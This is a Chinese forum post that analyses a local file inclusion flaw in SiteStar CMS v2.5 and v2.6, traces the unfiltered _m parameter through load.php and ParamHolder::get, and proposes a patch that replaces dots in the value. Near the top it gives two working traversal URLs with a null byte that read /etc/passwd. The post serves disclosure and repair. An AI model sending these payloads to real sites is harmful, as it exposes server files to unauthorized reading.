建站之星sitestar v2.5文件包含漏洞利用及修复
3580 点击·0 回帖
![]() | ![]() | |
![]() | 无意间发现建站之星sitestar 的一鸡肋文件包含漏洞,WVS扫描一朋友的网站,发现提示有以下文件包含漏洞 index.php?_a=fullist&_m=../../../../../../../../../../etc/passwd%00.jpg admin/index.php?_a=admin_list&_m=../../../../../../../../../../etc/passwd%00.jpg 测试改漏洞影响版本有建站之星sitestar v2.5、sitestar v2.6 查看index.php文件,代码如下: <?php define(‘IN_CONTEXT’, 1); include_once(‘load.php’); ?> 继续跟进load.php, 变量_m相关语句如下: $act =& ParamHolder::get(‘_m’); switch ($act) { case ‘mod_order’: include_once(P_INC.’/china_ds_data.php’); break; case ‘mod_auth’: case ‘mod_message’: include_once(P_LIB.’/rand_math.php’); break; } 继续跟进 ParamHolder::get是如何实现的,具体漏洞文件是在library\param.php,代码如下: 193 class ParamHolder { 194 /** 195 * Retrieve parameter 196 * 197 * @access public 198 * @static 199 * @param string $key_path The context path for retrieving data 200 * @param mixed $value The default data as fallback 201 * @param int $scope The parameter context 202 * @return mixed 203 */ 204 public static function &get($key_path, $default = false, $scope = PS_ALL) { 205 switch ($scope) { 206 case PS_GET: 207 $rs =& ParamParser::retrive($_GET, $key_path, $default); //可输入变量$_GET 可能存在安全威胁 208 break; 209 case PS_POST: 210 $rs =& ParamParser::retrive($_POST, $key_path, $default); //可输入变量$_POST 可能存在安全威胁 211 break; 212 case PS_COOKIE: 213 $rs =& ParamParser::retrive($_COOKIE, $key_path, $default); //可输入变量$_COOKIE 可能存在安全威胁 214 break; 215 case PS_FILES: 216 $rs =& ParamParser::retrive($_FILES, $key_path, $default); //可输入变量$_FILES 可能存在安全威胁 217 /** 218 * get upload file type 219 */ 220 if (isset($rs["tmp_name"]) && !is_array($rs["tmp_name"]) && !empty($rs["tmp_name"])) { 221 $ftype = ParamParser::file_type($rs["tmp_name"]); 222 if ($ftype == ‘unknown’) die(__(‘Upload file type error,please retry!’)); 223 } 224 break; 225 case PS_MANUAL: 226 $rs =& ManualParamHolder::get($key_path, $default); 227 break; 228 case PS_ALL: 229 if (ParamParser::has($_GET, $key_path)) { //可输入变量$_GET 可能存在安全威胁 230 $rs =& ParamParser::retrive($_GET, $key_path, $default); //可输入变量$_GET 可能存在安全威胁 231 } else if (ParamParser::has($_POST, $key_path)) { //可输入变量$_POST 可能存在安全威胁 232 $rs =& ParamParser::retrive($_POST, $key_path, $default); //可输入变量$_POST 可能存在安全威胁 233 } else if (ParamParser::has($_COOKIE, $key_path)) { //可输入变量$_COOKIE 可能存在安全威胁 234 $rs =& ParamParser::retrive($_COOKIE, $key_path, $default); //可输入变量$_COOKIE 可能存在安全威胁 235 } else if (ParamParser::has($_FILES, $key_path)) { //可输入变量$_FILES 可能存在安全威胁 236 $rs =& ParamParser::retrive($_FILES, $key_path, $default); //可输入变量$_FILES 可能存在安全威胁 237 } else if (ManualParamHolder::has($key_path)) { 238 $rs =& ManualParamHolder::get($key_path, $default); 239 } else { 240 $rs = $default; 241 } 242 break; 243 default: 244 $rs = $default; 245 } 246 return $rs; 247 } 248 } 可以看到没有对输入变量做任何的过滤判断等,导致本地包含漏洞的出现。 针对朋友网站的环境等修复方案如下: 对$rs进行过滤,return $rs;前加如下代码: $rs = str_replace(“.”,”_”,$rs); return $rs; 在对服务器权限进行设置^_^ | |
![]() | ![]() |